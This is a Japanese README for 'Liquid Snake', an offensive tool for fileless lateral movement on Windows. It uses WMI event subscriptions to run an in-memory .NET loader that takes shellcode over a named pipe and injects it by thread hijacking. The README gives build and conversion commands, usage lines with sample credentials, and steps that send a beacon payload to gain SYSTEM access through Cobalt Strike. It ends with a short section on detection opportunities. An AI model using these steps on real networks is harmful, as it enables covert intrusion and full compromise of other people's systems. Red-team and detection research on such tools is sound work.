Liquid Snake は、ディスクに触れることなく Windows システムに対して横方向の移動を行うことを目的としたプログラムです。このツールは、WMI Event Subscription を利用して .NET アセンブリをメモリ内で実行し、その .NET アセンブリが名前付きパイプ上でシェルコードを待ち受け、スレッドハイジャックシェルコードインジェクションのバリエーションを用いて実行します。
以下の図は、データの流れを(できれば)明確にしています:

このプロジェクトは 2 つの独立したソリューションで構成されています:
CSharpNamedPipeLoader - GadgetToJScript によって VBS に変換されるコンポーネントLiquidSnake - リモートシステム上で WMI Event Subscription を作成する役割を持つコンポーネント両方のソリューションを Visual Studio で開き、ビルドしてください。CSharpNamedPipeLoader は x64 アーキテクチャをターゲットにするようにしてください。すべてがうまくいけば、2 つの別々の EXE ファイル (CSharpNamedPipeLoader.exe と LiquidSnake.exe) が生成されるはずです。
GadgetToJscript を使って、CSharpNamedPipeLoader.exe を以下のコマンドで VBS に変換します:
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs
cscript.exe を使用して .NET の逆シリアル化をテストし、すべてが期待通りに動作することを確認します:
cscript.exe test.vbs
次に、vbs ファイルを base64 エンコードし、LiquidSnake の Program.cs の 29 行目にある vbscript64 変数に貼り付けます。
この作業は既に行ってあるので、LiquidSnake ソリューションをコンパイルしてそのまま使用できます。
このプロジェクトの使用方法は簡単です。管理アクセス権を持つホストに対して LiquidSnake.exe を次のように使用します:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
注意: 現在、ユーザー資格情報を明示的に設定した場合にバグがあり、その場合はツールが動作しません。代わりに make_token または他の偽装メカニズムを使用することを推奨します。
すべてがうまくいけば、以下のような出力が得られるはずです:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
上記の例では、CobaltStrike の execute-assembly を使用して LiquidSnake を起動しています:

その間、リモートホストには次の名前で新しい名前付きパイプが作成されます:
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

次に、私の BOFs プロジェクト の send_shellcode_via_pipe を使用して、リモートパイプに任意のシェルコードを送信し、ロードおよび実行させることができます:
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin

すべてが期待通りに動作すれば、SYSTEM 権限のビーコンが得られるはずです:

注意: 現在の LiquidSnake バージョンには、.NET バージョン 4.x をターゲットとする GadgetToJScript によって生成されたアーティファクトが含まれています。対象ホストに 3.5 しかインストールされていない場合、失敗します。その場合は、同じプロセスを繰り返して GadgetToJScript をビルドする際に、適切な .NET バージョンを使用してください。
このツールの悪用や一般的なこの手法の使用を特定するための検出機会が多数あります:
scrcons.exe プロセスに関連する clr.dll のモジュールロードイベント。scrcons.exe プロセスに関連する名前付きパイプの作成。さらに、この特定の実装の最大の欠点は、シェルコードが SMB 経由で平文で送信されることです。つまり、ネットワーク監視ソリューションがそのトラフィックを検査できる場合、それが目立つ可能性が高いです。Zeek/Bro ルールセットに対するテストはあまり行っていませんが、すぐに検出されるだろうと確信しています。
detection-artefacts フォルダには、攻撃中に生成された Wireshark キャプチャの PCAP ファイルと Sysmon イベント (Swift On Security のデフォルト設定を使用) を残してあります。